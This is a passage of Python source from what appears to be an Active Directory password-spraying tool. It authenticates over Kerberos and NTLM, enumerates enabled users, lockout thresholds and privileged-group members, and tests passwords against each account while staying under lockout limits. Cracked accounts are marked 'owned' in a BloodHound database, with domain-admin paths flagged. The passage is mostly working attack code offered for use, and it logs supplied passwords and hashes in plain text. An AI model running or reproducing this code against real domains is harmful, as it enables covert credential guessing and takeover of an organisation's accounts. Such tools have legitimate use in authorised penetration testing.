433 | logger.debug("Using Kerberos Cache: %s" % ccache_ticket)
434 | principal = "ldap/%s@%s" % (target.upper(), domain.upper())
435 |
436 | creds = ccache.getCredential(principal)
437 | if creds is None:
438 | # Let's try for the TGT and go from there
439 | principal = "krbtgt/%s@%s" % (domain.upper(), domain.upper())
440 | creds = ccache.getCredential(principal)
441 | if creds is not None:
442 | TGT = creds.toTGT()
443 | logger.debug("Using TGT from cache")
444 | else:
445 | logger.debug("No valid credentials found in cache")
446 | else:
447 | TGS = creds.toTGS(principal)
448 | logger.debug("Using TGS from cache")
449 |
450 | # retrieve user information from CCache file if needed
451 | if user == "" and creds is not None:
452 | user = creds["client"].prettyPrint().split(b"@")[0].decode("utf-8")
453 | logger.debug("Username retrieved from CCache: %s" % user)
454 | elif user == "" and len(ccache.principal.components) > 0:
455 | user = ccache.principal.components[0]["data"].decode("utf-8")
456 | logger.debug("Username retrieved from CCache: %s" % user)
457 | else:
458 | if not dc_host:
459 | target = self.get_machine_name(kdc_ip, domain)
460 | else:
461 | target = dc_host
462 |
463 | # First of all, we need to get a TGT for the user
464 | userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
465 | if TGT is None:
466 | if TGS is None:
467 | tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(clientName=userName, password=password, domain=domain, lmhash=None, nthash=rc4_key, aesKey=aes_key, kdcHost=kdc_ip)
468 | else:
469 | tgt = TGT["KDC_REP"]
470 | cipher = TGT["cipher"]
471 | sessionKey = TGT["sessionKey"]
472 |
473 | if TGS is None:
474 | serverName = Principal("ldap/%s" % target, type=constants.PrincipalNameType.NT_SRV_INST.value)
475 | tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName=serverName, kdcHost=kdc_ip, domain=domain, tgt=tgt, cipher=cipher, sessionKey=sessionKey)
476 | else:
477 | tgs = TGS["KDC_REP"]
478 | cipher = TGS["cipher"]
479 | sessionKey = TGS["sessionKey"]
480 |
481 | # Let's build a NegTokenInit with a Kerberos REQ_AP
482 |
483 | blob = SPNEGO_NegTokenInit()
484 |
485 | # Kerberos
486 | blob["MechTypes"] = [TypesMech["MS KRB5 - Microsoft Kerberos 5"]]
487 |
488 | # Let's extract the ticket from the TGS
489 | tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
490 | ticket = Ticket()
491 | ticket.from_asn1(tgs["ticket"])
492 |
493 | # Now let's build the AP_REQ
494 | apReq = AP_REQ()
495 | apReq["pvno"] = 5
496 | apReq["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
497 |
498 | opts = []
499 | apReq["ap-options"] = constants.encodeFlags(opts)
500 | seq_set(apReq, "ticket", ticket.to_asn1)
501 |
502 | authenticator = Authenticator()
503 | authenticator["authenticator-vno"] = 5
504 | authenticator["crealm"] = domain
505 | seq_set(authenticator, "cname", userName.components_to_asn1)
506 | now = datetime.datetime.utcnow()
507 |
508 | authenticator["cusec"] = now.microsecond
509 | authenticator["ctime"] = KerberosTime.to_asn1(now)
510 |
511 | encodedAuthenticator = encoder.encode(authenticator)
512 |
513 | # Key Usage 11
514 | # AP-REQ Authenticator (includes application authenticator
515 | # subkey), encrypted with the application session key
516 | # (Section 5.5.1)
517 | encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None)
518 |
519 | apReq["authenticator"] = noValue
520 | apReq["authenticator"]["etype"] = cipher.enctype
521 | apReq["authenticator"]["cipher"] = encryptedEncodedAuthenticator
522 |
523 | blob["MechToken"] = encoder.encode(apReq)
524 |
525 | if tls_version is not None:
526 | ldap_connection = ldap.LDAPConnection("ldaps://%s" % target, dstIp=kdc_ip)
527 | else:
528 | ldap_connection = ldap.LDAPConnection("ldap://%s" % target, dstIp=kdc_ip)
529 |
530 | bindRequest = ldapasn1.BindRequest()
531 | bindRequest["version"] = 3
532 | bindRequest["name"] = user
533 | bindRequest["authentication"]["sasl"]["mechanism"] = "GSS-SPNEGO"
534 | bindRequest["authentication"]["sasl"]["credentials"] = blob.getData()
535 | response = ldap_connection.sendReceive(bindRequest)[0]["protocolOp"]
536 |
537 | if response["bindResponse"]["resultCode"] != ldapasn1.ResultCode("success"):
538 | raise ldap.LDAPSessionError(
539 | errorString="Error in bindRequest -> %s: %s" % (response["bindResponse"]["resultCode"].prettyPrint(),
540 | response["bindResponse"]["diagnosticMessage"])
541 | )
542 |
543 | return ldap_connection
544 |
545 |
546 | class NTLM(object):
547 | """docstring for NTLM."""
548 |
549 | def __init__(self):
550 | super(NTLM, self).__init__()
551 |
552 |
553 | def is_local_admin(self, smb_connection, target):
554 | # https://github.com/SecureAuthCorp/impacket/blob/a16198c3312d8cfe25b329907b16463ea3143519/impacket/examples/ntlmrelayx/clients/smbrelayclient.py#L606-L622
555 | rpc_transport = SMBTransport(remoteName=smb_connection.getRemoteHost(), dstport=445, filename=r"\svcctl", smb_connection=smb_connection)
556 | dce = rpc_transport.get_dce_rpc()
557 | try:
558 | dce.connect()
559 | except:
560 | pass
561 | else:
562 | dce.bind(scmr.MSRPC_UUID_SCMR)
563 | try:
564 | # 0xF003F - SC_MANAGER_ALL_ACCESS
565 | # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
566 | ans = scmr.hROpenSCManagerW(dce, "{}\x00".format(target), "ServicesActive\x00", 0xF003F)
567 | return True
568 | except scmr.DCERPCException as e:
569 | pass
570 | return False
571 |
572 |
573 | def SMB_authentication(self, target, domain, user, password, nt_hash):
574 |
575 | """Returns a tuple (smb_connection, details)
576 |
577 | :return: a tuple with the smb_connection and a string (error or specific information regarding the account)
578 | """
579 | if target == "":
580 | logger.error("No target was set. Set a domain with -d/--domain or a target with --dc-ip.")
581 | exit(0)
582 | try:
583 | logger.debug("Connecting to smb://%s on port 445" % target)
584 | smb_connection = SMBConnection(target, target, None, "445", timeout=15)
585 | except socket.error:
586 | return False, ""
587 | except Exception as e:
588 | logger.error("Error connection to the target. Try to set -p/--protocol to LDAP.")
589 | exit(0)
590 | # return False, ""
591 | if nt_hash is None:
592 | nt_hash = ""
593 | try:
594 | logger.debug("Logging in with domain, user, password, nt_hash (%s, %s, %s, %s)" % (domain, user, password, nt_hash))
595 | smb_connection.login(domain=domain, user=user, password=password, nthash=nt_hash)
596 | if self.is_local_admin(smb_connection=smb_connection, target=target):
597 | return smb_connection, "local admin"
598 | else:
599 | return smb_connection, ""
600 | except SessionError as e:
601 | error, description = e.getErrorString()
602 | if error in smb_error_status.keys():
603 | return None, error
604 | else:
605 | return False, ""
606 |
607 |
608 | def LDAP_authentication(self, tls_version, target, domain, user, password, lm_hash, nt_hash):
609 | # todo : check LDAP or LDAPS is open before connecting, if port is closed, ask the user if he's sure he's testing a domain controller
610 | if nt_hash is None:
611 | nt_hash = ""
612 | if lm_hash is None:
613 | lm_hash = ""
614 |
615 | try:
616 | if tls_version is not None:
617 | logger.debug("Connecting to ldaps://%s" % target)
618 | ldap_connection = ldap.LDAPConnection(url="ldaps://%s" % target)
619 | else:
620 | logger.debug("Connecting to ldap://%s" % target)
621 | ldap_connection = ldap.LDAPConnection(url="ldap://%s" % target)
622 |
623 | logger.debug("Logging in with domain, user, password, lm_hash, nt_hash (%s, %s, %s, %s, %s)" % (domain, user, password, lm_hash, nt_hash))
624 | ldap_connection.login(domain=domain, user=user, password=password, lmhash=lm_hash, nthash=nt_hash)
625 | return ldap_connection
626 | except ldap.LDAPSessionError as e:
627 | logger.debug("Triggered exception on a LDAP session error")
628 | if "strongerAuthRequired" in str(e):
629 | logger.debug("A stronger auth is required, trying with LDAPS")
630 | try:
631 | logger.debug("Connecting to ldap://%s" % target)
632 | ldap_connection = ldap.LDAPConnection(url="ldaps://%s" % target)
633 | logger.debug("Logging in with domain (%s), user (%s) and password (%s)" % (domain, user, password))
634 | ldap_connection.login(domain=domain, user=user, password=password, lmhash=lm_hash, nthash=nt_hash)
635 | return ldap_connection
636 | except ldap.LDAPSessionError as e:
637 | logger.debug("Trying LDAPS didn't resolve the LDAP session error, below is the exception")
638 | logger.error(e)
639 | else:
640 | logger.debug("No stronger auth was required, username/password supplied was probably wrong")
641 | return False
642 |
643 | except OSError as e:
644 | if domain is None:
645 | logger.error("Error connecting to the domain, please set option -d/--domain")
646 | else:
647 | logger.error("Error connecting to the domain, please set option --dc-ip with the IP address of the domain controller")
648 | exit(0)
649 |
650 |
651 | class bruteforce(object):
652 | """docstring for bruteforce."""
653 |
654 | def __init__(self, options, table, neo4j):
655 | super(bruteforce, self).__init__()
656 | self.options = options
657 | self.table = table
658 | self.neo4j = neo4j
659 | self.ntlm = NTLM()
660 | self.kerberos = KERBEROS()
661 | self.global_lockout_threshold = 0
662 | self.granular_lockout_threshold = {}
663 | self.users = {}
664 | self.special_groups = {}
665 | self.admin_users = []
666 | self.special_users = []
667 | self.domain_is_dumped = False
668 |
669 | def process_user_record(self, item):
670 | if isinstance(item, ldapasn1.SearchResultEntry) is not True:
671 | return
672 | sAMAccountName = ""
673 | badPwdCount = 0
674 | distinguishedName = ""
675 | try:
676 | for attribute in item["attributes"]:
677 | if str(attribute["type"]) == "sAMAccountName":
678 | # todo : plan to include a --machine-accounts switch to test machine accounts (nota bene: by default, they don't lock out)
679 | # We want to filter out machine accounts
680 | if attribute["vals"][0].asOctets().decode("utf-8").endswith("$") is False:
681 | sAMAccountName = attribute["vals"][0].asOctets().decode("utf-8")
682 | if str(attribute["type"]) == "badPwdCount":
683 | badPwdCount = int(str(attribute["vals"][0]))
684 | if str(attribute["type"]) == "distinguishedName":
685 | distinguishedName = attribute["vals"][0].asOctets().decode("utf-8")
686 | if distinguishedName in self.granular_lockout_threshold.keys():
687 | lockoutThreshold = self.granular_lockout_threshold[distinguishedName]
688 | else:
689 | lockoutThreshold = self.global_lockout_threshold
690 | self.users[distinguishedName] = {"distinguishedName":distinguishedName, "sAMAccountName":sAMAccountName, "badPwdCount":badPwdCount, "lockoutThreshold":lockoutThreshold}
691 | except Exception as e:
692 | logger.error("Skipping item, cannot process due to error %s" % str(e))
693 |
694 |
695 | def process_group_record(self, item):
696 | if isinstance(item, ldapasn1.SearchResultEntry) is not True:
697 | return
698 | sAMAccountName = ""
699 | group_type = ""
700 | distinguishedName = ""
701 | try:
702 | for attribute in item["attributes"]:
703 | # print(attribute)
704 | if str(attribute["type"]) == "objectSid":
705 | objectSid = format_sid(attribute["vals"][0].asOctets())
706 | if objectSid.split("-")[-1] in ["512", "516", "518", "519", "526", "527", "544"]:
707 | group_type = "admin"
708 | elif objectSid.split("-")[-1] in ["520", "547", "548", "549", "551", "552", "582"]:
709 | group_type = "special"
710 | if str(attribute["type"]) == "distinguishedName":
711 | distinguishedName = attribute["vals"][0].asOctets().decode("utf-8")
712 | if str(attribute["type"]) == "sAMAccountName":
713 | sAMAccountName = attribute["vals"][0].asOctets().decode("utf-8")
714 | if group_type in ["admin", "special"]:
715 | self.special_groups[distinguishedName] = {"distinguishedName":distinguishedName, "sAMAccountName":sAMAccountName, "group_type":group_type}
716 | except Exception as e:
717 | logger.error("Skipping item, cannot process due to error %s" % str(e))
718 |
719 |
720 | def get_privileged_users(self, ldap_connection, domain):
721 | if domain is None or "." not in domain:
722 | logger.error("FQDN Domain is needed to fetch domain information from LDAP")
723 | exit(0)
724 | else:
725 | domain_dn = ",".join(["DC=" + part for part in domain.split(".")])
726 |
727 | # todo : add argument that makes the user choose a page size and set it for "size"
728 | paged_results_control = ldap.SimplePagedResultsControl(criticality=True, size=200, cookie="")
729 | ldap_connection.search(searchBase=domain_dn, searchFilter="(objectCategory=Group)", attributes=["sAMAccountName", "objectSid", "distinguishedName"], searchControls=[paged_results_control], perRecordCallback=self.process_group_record)
730 | admin_users = []
731 | special_users = []
732 | for group_dn in self.special_groups.keys():
733 | if self.special_groups[group_dn]["group_type"] == "admin":
734 | for user_dn in self.members_dn_from_group_dn(ldap_connection=ldap_connection, object_dn=group_dn):
735 | # group = self.special_groups[group_dn]["sAMAccountName"]
736 | try:
737 | user = self.get_attributes_from_object_dn(ldap_connection=ldap_connection, object_dn=user_dn, attributes=["sAMAccountName"])["sAMAccountName"].decode("utf-8")
738 | admin_users.append(user)
739 | except:
740 | logger.debug("Met some kind of error while trying to get attrs from object dn %s" % user_dn)
741 | elif self.special_groups[group_dn]["group_type"] == "special":
742 | for user_dn in self.members_dn_from_group_dn(ldap_connection=ldap_connection, object_dn=group_dn):
743 | user = self.get_attributes_from_object_dn(ldap_connection=ldap_connection, object_dn=user_dn, attributes=["sAMAccountName"])["sAMAccountName"].decode("utf-8")
744 | special_users.append(user)
745 | self.admin_users = list(set(admin_users))
746 | self.special_users = list(set(special_users))
747 | logger.debug("Found %d special/admin users" % len(list(set(admin_users + special_users))))
748 |
749 |
750 | def get_attributes_from_object_dn(self,ldap_connection, object_dn, attributes):
751 | logger.debug("Fetching attributes for object: %s" % object_dn)
752 | attrs = {}
753 | results = ldap_connection.search(searchBase=object_dn, attributes=attributes)
754 | for result in results:
755 | for attribute in result["attributes"]:
756 | if str(attribute["type"]) in attributes:
757 | if len(attribute["vals"]) > 1:
758 | attrs[str(attribute["type"])] = []
759 | for i in attribute["vals"]:
760 | attrs[str(attribute["type"])].append(i.asOctets())
761 | else:
762 | attrs[str(attribute["type"])] = attribute["vals"][0].asOctets()
763 | return attrs
764 |
765 |
766 | def get_users(self, ldap_connection, domain):
767 | if domain is None or "." not in domain:
768 | logger.error("FQDN Domain is needed to fetch domain information from LDAP")
769 | exit(0)
770 | else:
771 | domain_dn = ",".join(["DC=" + part for part in domain.split(".")])
772 |
773 | # any user that is not disabled
774 | search_filters = "(&(objectCategory=User)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))"
775 | # search_filters = "(objectCategory=User)"
776 | # we want username and attempts left for each account
777 | attributes = ["samAccountName", "badPwdCount", "distinguishedName"]
778 |
779 | # todo : add argument that makes the user choose a page size and set it for "size"
780 | paged_results_control = ldap.SimplePagedResultsControl(criticality=True, size=200, cookie="")
781 | ldap_connection.search(searchBase=domain_dn, searchFilter=search_filters, attributes=attributes, searchControls=[paged_results_control], perRecordCallback=self.process_user_record)
782 | logger.verbose("Found %d users" % len(self.users))
783 | for user in self.users.keys():
784 | logger.debug(" %-25s %-15d %-15d %-15s" % (self.users[user]["sAMAccountName"], self.users[user]["badPwdCount"], self.users[user]["lockoutThreshold"], user))
785 |
786 |
787 | def get_lockout_thresholds(self, ldap_connection, domain):
788 | if domain is None or "." not in domain:
789 | logger.error("FQDN Domain is needed to fetch domain information from LDAP")
790 | exit(0)
791 | else:
792 | domain_dn = ",".join(["DC=" + part for part in domain.split(".")])
793 |
794 | logger.verbose("Fetching domain level lockout threshold")
795 | try:
796 | results = ldap_connection.search(searchBase=domain_dn, searchFilter="(objectClass=*)", attributes=["lockoutThreshold"], sizeLimit=999)
797 | except ldap.LDAPSearchError as e:
798 | if e.getErrorString().find("sizeLimitExceeded") >= 0:
799 | logger.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
800 | # We reached the sizeLimit, process the answers we have already and that's it. Until we implement
801 | # paged queries
802 | results = e.getAnswers()
803 | self.global_lockout_threshold = int(results[0]["attributes"][0]["vals"][0].asOctets())
804 | logger.debug("Global lockout threshold %d" % self.global_lockout_threshold)
805 |
806 | logger.verbose("Fetching granular lockout thresholds in Password Settings Containers")
807 | granular_policy_container = "CN=Password Settings Container,CN=System,%s" % domain_dn
808 | granular_policy_filter = "(objectClass=msDS-PasswordSettings)"
809 | granular_policy_attribs = ["msDS-LockoutThreshold", "msDS-PSOAppliesTo"]
810 | try:
811 | results = ldap_connection.search(searchBase=granular_policy_container, searchFilter=granular_policy_filter, attributes=granular_policy_attribs, sizeLimit=999)
812 | except ldap.LDAPSearchError as e:
813 | if e.getErrorString().find("sizeLimitExceeded") >= 0:
814 | logger.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
815 | # We reached the sizeLimit, process the answers we have already and that's it. Until we implement
816 | # paged queries
817 | results = e.getAnswers()
818 | for policy in results:
819 | if isinstance(policy, ldapasn1.SearchResultEntry):
820 | if policy[1][1].hasValue() and str(policy[1][1][0]) == "msDS-PSOAppliesTo":
821 | for element in policy[1][1][1]:
822 | applies_to_dn = element.asOctets().decode("utf-8")
823 | # applies_to_dn = policy[1][1][1][0].asOctets().decode("utf-8")
824 | if str(policy[1][0][0]) == "msDS-LockoutThreshold":
825 | lockout_threshold = int(policy[1][0][1][0].asOctets())
826 | if self.is_a_group(ldap_connection, applies_to_dn):
827 | members_dn = self.members_dn_from_group_dn(ldap_connection, applies_to_dn)
828 | for member_dn in members_dn:
829 | # todo : precedence is ignored for now, we only take the lower lockout threshold for now to insure 100% "no lockouts"
830 | if member_dn in self.granular_lockout_threshold.keys():
831 | if lockout_threshold < self.granular_lockout_threshold[member_dn]:
832 | self.granular_lockout_threshold[member_dn] = lockout_threshold
833 | else:
834 | self.granular_lockout_threshold[member_dn] = lockout_threshold
835 | else:
836 | if applies_to_dn in self.granular_lockout_threshold.keys():
837 | if lockout_threshold < self.granular_lockout_threshold[applies_to_dn]:
838 | self.granular_lockout_threshold[applies_to_dn] = lockout_threshold
839 | else:
840 | self.granular_lockout_threshold[applies_to_dn] = lockout_threshold
841 | else:
842 | logger.error("Something went wrong when parsing policies information...")
843 | exit(0)
844 | else:
845 | if not policy[1][1].hasValue():
846 | logger.debug("The policy %s wasn't assigned to any group" % policy[0])
847 | continue
848 | logger.error("Something went wrong when parsing policies information...")
849 | exit(0)
850 | logger.verbose("Found global lockout threshold (%d) and granular lockout thresholds (%s)" % (self.global_lockout_threshold, list(set(list(self.granular_lockout_threshold.values())))))
851 | logger.debug("Printing all users target of granular policies")
852 | for account in self.granular_lockout_threshold.keys():
853 | logger.debug(" %-5d %s" % (self.granular_lockout_threshold[account], account))
854 |
855 |
856 | def is_a_group(self, ldap_connection, object_dn):
857 | results = ldap_connection.search(searchBase=object_dn, attributes=["objectClass"])
858 | if "group" in str(results[0][1][0]["vals"]):
859 | logger.debug("%s is a group" % object_dn)
860 | return True
861 | else:
862 | logger.debug("%s is not a group" % object_dn)
863 | return False
864 |
865 |
866 | def members_dn_from_group_dn(self, ldap_connection, object_dn):
867 | logger.debug("Fetching members of group: %s" % object_dn)
868 | members_dn = []
869 | results = ldap_connection.search(searchBase=object_dn, attributes=["member"])
870 | for element in results:
871 | direct_members_dn = element[1][0]["vals"]
872 | for direct_member_dn in direct_members_dn:
873 | if self.is_a_group(ldap_connection, direct_member_dn):
874 | members_dn += self.members_dn_from_group_dn(ldap_connection, direct_member_dn)
875 | else:
876 | members_dn.append(direct_member_dn.asOctets().decode("utf-8"))
877 | return members_dn
878 |
879 |
880 | def handle_auth_results(self, domain, user, user_dn, password, password_hash, auth, details):
881 | if password is not None:
882 | secret = password
883 | elif password_hash is not None:
884 | secret = password_hash
885 | printed_details = []
886 | if auth:
887 | logger.debug("[yellow3]Match for domain (%s), user (%s) and password (%s)[/yellow3]" % (domain, user, password))
888 | if self.options.set_as_owned == True:
889 | ret = self.neo4j.set_as_owned(user, domain)
890 | if ret == ERROR_SUCCESS:
891 | if self.neo4j.bloodhound_analysis(user, domain) == ERROR_SUCCESS:
892 | printed_details.append("[bold red on orange3] PATH TO DA [/bold red on orange3]")
893 | logger.verbose("User %s set as owned in neo4j" % user)
894 | elif ret == ERROR_NEO4J_NON_EXISTENT_NODE:
895 | logger.verbose("User {} does not exist in neo4j database".format(user))
896 | else:
897 | return ret
898 |
899 | style = "green"
900 | if user in self.admin_users:
901 | printed_details.append("[bold red]admin account[/bold red]")
902 | elif user in self.special_users:
903 | printed_details.append("[bold blue]special account[/bold blue]")
904 | # if details == "KRB_ERR_RESPONSE_TOO_BIG":
905 | # logger.verbose("Raised KRB_ERR_RESPONSE_TOO_BIG for domain (%s), user (%s) and password (%s), auth is prbbly ok, set --transport-protocol to tcp to make sure of it" % (self.options.domain, user, password))
906 | # printed_details.append("[yellow3](probably valid)[/yellow3]")
907 | # if details == "KRB_AP_ERR_SKEW":
908 | # logger.verbose("Raised KRB_AP_ERR_SKEW for domain (%s), user (%s) and password (%s), auth is prbbly ok, but there is a time skew between the machines" % (self.options.domain, user, password))
909 | # printed_details.append("[yellow3](probably valid)[/yellow3]")
910 | if details == "local admin":
911 | printed_details.append("[yellow3]%s[/yellow3]" % details)
912 | self.table.add_row(domain, user, secret, " ".join(printed_details), style=style)
913 | else:
914 | # below occurs when testing with the smart mode on so that accounts don't get locked out
915 | if user_dn is not None:
916 | self.users[user_dn]["badPwdCount"] += 1
917 | # we still want to print the disabled accounts
918 | style = "magenta"
919 | # SMB auth returns False for auth, account is disabled, but password is ok, something else is wrong
920 | if details in smb_error_status.keys():
921 | printed_details.append("[magenta]%s[/magenta]" % smb_error_status[details])
922 | self.table.add_row(domain, user, secret, " ".join(printed_details), style=style)
923 | # Kerberos returns pre-auth error meaning account is disabled, but we don't know if password is ok
924 | elif details == "disabled":
925 | printed_details.append("[magenta]disabled[/magenta]")
926 | self.table.add_row(domain, user, "n/a", " ".join(printed_details), style=style)
927 | # Kerberos returns an error, usually meaning auth is ok but Kerberos can't send TGT through UDP or smth else
928 | if user in self.admin_users:
929 | printed_details.append("[bold red]admin account[/bold red]")
930 | elif user in self.special_users:
931 | printed_details.append("[bold blue]special account[/bold blue]")
932 | if details == "KRB_ERR_RESPONSE_TOO_BIG":
933 | logger.verbose("Raised KRB_ERR_RESPONSE_TOO_BIG for domain (%s), user (%s) and password (%s), auth is prbbly ok, set --transport-protocol to tcp to make sure of it" % (self.options.domain, user, password))
934 | printed_details.append("[yellow3](probably valid)[/yellow3]")
935 | style = "green"
936 | self.table.add_row(domain, user, secret, " ".join(printed_details), style=style)
937 | if details == "KRB_AP_ERR_SKEW":
938 | logger.verbose("Raised KRB_AP_ERR_SKEW for domain (%s), user (%s) and password (%s), auth is prbbly ok, but there is a time skew between the machines" % (self.options.domain, user, password))
939 | logger.verbose("Server time is %s (UTC)" % self.kerberos.server_time)
940 | printed_details.append("[yellow3](probably valid)[/yellow3]")
941 | style = "green"
942 | self.table.add_row(domain, user, secret, " ".join(printed_details), style=style)
943 |
944 | def smart_attack(self):
945 | logger.info("Bad password counts dont replicate between domain controllers. Only the PDC knows the real amount of those. Be sure to target the PDC so that accounts don't get locked out")
946 | # https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc775412(v=ws.10)?redirectedfrom=MSDN
947 | if self.options.auth_protocol == "ntlm":
948 | logger.verbose("Fetching domain information through NTLM over LDAP")
949 | # if self.options.auth_domain is None or "." not in self.options.auth_domain:
950 | # logger.error("FQDN Domain is needed to fetch domain information from LDAP")
951 | if self.options.auth_domain is None:
952 | logger.error("Domain is needed to fetch domain information from LDAP")
953 | if self.options.auth_dc_ip is not None:
954 | target = self.options.auth_dc_ip
955 | else:
956 | target = self.options.auth_domain
957 | auth_lm_hash = None
958 | auth_nt_hash = None
959 | if self.options.auth_hashes is not None:
960 | if ":" in self.options.auth_hashes:
961 | auth_lm_hash = self.options.auth_hashes.split(":")[0]
962 | auth_nt_hash = self.options.auth_hashes.split(":")[1]
963 | else:
964 | auth_nt_hash = self.options.auth_hashes
965 |
966 | # Handling LDAPS
967 | if self.options.auth_use_ldaps:
968 | try:
969 | ldap_connection = self.ntlm.LDAP_authentication(target=target, tls_version=ssl.PROTOCOL_TLSv1_2, domain=self.options.auth_domain, user=self.options.auth_user, password=self.options.auth_password, lm_hash=auth_lm_hash, nt_hash=auth_nt_hash)
970 | except:
971 | ldap_connection = self.ntlm.LDAP_authentication(target=target, tls_version=ssl.PROTOCOL_TLSv1, domain=self.options.auth_domain, user=self.options.auth_user, password=self.options.auth_password, lm_hash=auth_lm_hash, nt_hash=auth_nt_hash)
972 | else:
973 | ldap_connection = self.ntlm.LDAP_authentication(target=target, tls_version=None, domain=self.options.auth_domain, user=self.options.auth_user, password=self.options.auth_password, lm_hash=auth_lm_hash, nt_hash=auth_nt_hash)
974 |
975 | if ldap_connection:
976 | logger.success("Successfully logged in, fetching domain information")
977 | if self.options.enum_users:
978 | self.get_users(ldap_connection=ldap_connection, domain=self.options.auth_domain)
979 | for user_dn in self.users.keys():
980 | self.table.add_row(self.options.auth_domain, self.users[user_dn]["sAMAccountName"])
981 | elif self.options.enum_policy:
982 | self.get_lockout_thresholds(ldap_connection=ldap_connection, domain=self.options.auth_domain)
983 | self.get_users(ldap_connection=ldap_connection, domain=self.options.auth_domain)
984 | logger.success("Global lockout threshold is: %d" % self.global_lockout_threshold)
985 | logger.success("Granular thresholds are as follows: %s" % list(set(list(self.granular_lockout_threshold.values()))))
986 | logger.info("Printing table of users and their granular thresholds (in case of multiple PSOs, lowest threshold is kept) (empty table == no granular policies exist)")
987 | for user_dn in self.users.keys():
988 | if self.users[user_dn]["lockoutThreshold"] != self.global_lockout_threshold:
989 | self.table.add_row(self.options.auth_domain, self.users[user_dn]["sAMAccountName"], str(self.users[user_dn]["lockoutThreshold"]))
990 | else:
991 | self.get_lockout_thresholds(ldap_connection=ldap_connection, domain=self.options.auth_domain)
992 | self.get_users(ldap_connection=ldap_connection, domain=self.options.auth_domain)
993 | self.get_privileged_users(ldap_connection=ldap_connection, domain=self.options.auth_domain)
994 | self.domain_is_dumped = True
995 | logger.success("Domain enumeration is over, starting attack")
996 | k, maxi = 1, len(self.users.keys())
997 | for user_dn in self.users.keys():
998 | self.table.caption = " [yellow3]User[/]: %d/%d (%3.1f%%) (%s)" % (k, maxi, round(k/maxi*100,1), self.users[user_dn]["sAMAccountName"])
999 | k += 1
1000 | self.smart_try_user(user_dn)
1001 | else:
1002 | logger.error("Error connecting, username/password might be invalid...")
1003 | elif self.options.auth_protocol == "kerberos":
1004 | logger.debug("Fetching domain information through a Kerberos auth over LDAP")
1005 | if self.options.auth_kdc_ip is not None:
1006 | target = self.options.auth_kdc_ip
1007 | else:
1008 | target = self.options.auth_domain
1009 | if self.options.auth_use_ldaps:
1010 | try:
1011 | ldap_connection = self.kerberos.LDAP_authentication(kdc_ip=self.options.auth_kdc_ip, tls_version=ssl.PROTOCOL_TLSv1_2, domain=self.options.auth_domain, user=self.options.auth_user, password=self.options.auth_password, rc4_key=self.options.auth_rc4_key, aes_key=self.options.auth_aes_key, ccache_ticket=self.options.auth_ccache_ticket, dc_host=self.options.dc_host)
1012 | except ldap3.core.exceptions.LDAPSocketOpenError:
1013 | ldap_connection = self.kerberos.LDAP_authentication(kdc_ip=self.options.auth_kdc_ip, tls_version=ssl.PROTOCOL_TLSv1, domain=self.options.auth_domain, user=self.options.auth_user, password=self.options.auth_password, rc4_key=self.options.auth_rc4_key, aes_key=self.options.auth_aes_key, ccache_ticket=self.options.auth_ccache_ticket, dc_host=self.options.dc_host)
1014 | else:
1015 | ldap_connection = self.kerberos.LDAP_authentication(kdc_ip=self.options.auth_kdc_ip, tls_version=None, domain=self.options.auth_domain, user=self.options.auth_user, password=self.options.auth_password, rc4_key=self.options.auth_rc4_key, aes_key=self.options.auth_aes_key, ccache_ticket=self.options.auth_ccache_ticket, dc_host=self.options.dc_host)
1016 | if ldap_connection:
1017 | logger.success("Successfully logged in, fetching domain information")
1018 | if self.options.enum_users:
1019 | self.get_users(ldap_connection=ldap_connection, domain=self.options.auth_domain)
1020 | for user_dn in self.users.keys():
1021 | self.table.add_row(self.options.auth_domain, self.users[user_dn]["sAMAccountName"])
1022 | elif self.options.enum_policy:
1023 | self.get_lockout_thresholds(ldap_connection=ldap_connection, domain=self.options.auth_domain)
1024 | self.get_users(ldap_connection=ldap_connection, domain=self.options.auth_domain)
1025 | logger.success("Global lockout threshold is: %d" % self.global_lockout_threshold)
1026 | logger.success("Granular thresholds are as follows: %s" % list(set(list(self.granular_lockout_threshold.values()))))
1027 | logger.info("Printing table of users and their granular thresholds (in case of multiple PSOs, lowest threshold is kept) (empty table == no granular policies exist)")
1028 | for user_dn in self.users.keys():
1029 | if self.users[user_dn]["lockoutThreshold"] != self.global_lockout_threshold:
1030 | self.table.add_row(self.options.auth_domain, self.users[user_dn]["sAMAccountName"], str(self.users[user_dn]["lockoutThreshold"]))
1031 | else:
1032 | self.get_lockout_thresholds(ldap_connection=ldap_connection, domain=self.options.auth_domain)
1033 | self.get_users(ldap_connection=ldap_connection, domain=self.options.auth_domain)
1034 | self.get_privileged_users(ldap_connection=ldap_connection, domain=self.options.auth_domain)
1035 | self.domain_is_dumped = True
1036 | logger.success("Domain enumeration is over, starting attack")
1037 | k, maxi = 1, len(self.users.keys())
1038 | for user_dn in self.users.keys():
1039 | self.table.caption = " [yellow3]User[/]: %d/%d (%3.1f%%) (%s)" % (k, maxi, round(k / maxi * 100, 1), self.users[user_dn]["sAMAccountName"])
1040 | k += 1
1041 | self.smart_try_user(user_dn)
1042 | else:
1043 | logger.error("Error connecting, username/password might be invalid...")
1044 |
1045 | def smart_try_user(self, user_dn):
1046 | if self.options.bf_password is not None:
1047 | self.table.caption += "\n [yellow3]Pass[/]: %d/%d (%3.1f%%)" % (1,1,100)
1048 | self.smart_try_password_or_hash(user_dn=user_dn, password=self.options.bf_password, password_hash=None)
1049 | elif self.options.bf_passwords_file is not None:
1050 | if os.path.exists(self.options.bf_passwords_file):
1051 | with open(self.options.bf_passwords_file, "r") as bf_passwords_file:
1052 | bf_passwords_file = bf_passwords_file.readlines()
1053 | k, maxi = 1, len(bf_passwords_file)
1054 | for password in bf_passwords_file:
1055 | if "\n [yellow3]Pass[/]: " not in self.table.caption:
1056 | self.table.caption += "\n [yellow3]Pass[/]: %d/%d (%3.1f%%)" % (k, maxi, round(k/maxi*100,1))
1057 | else:
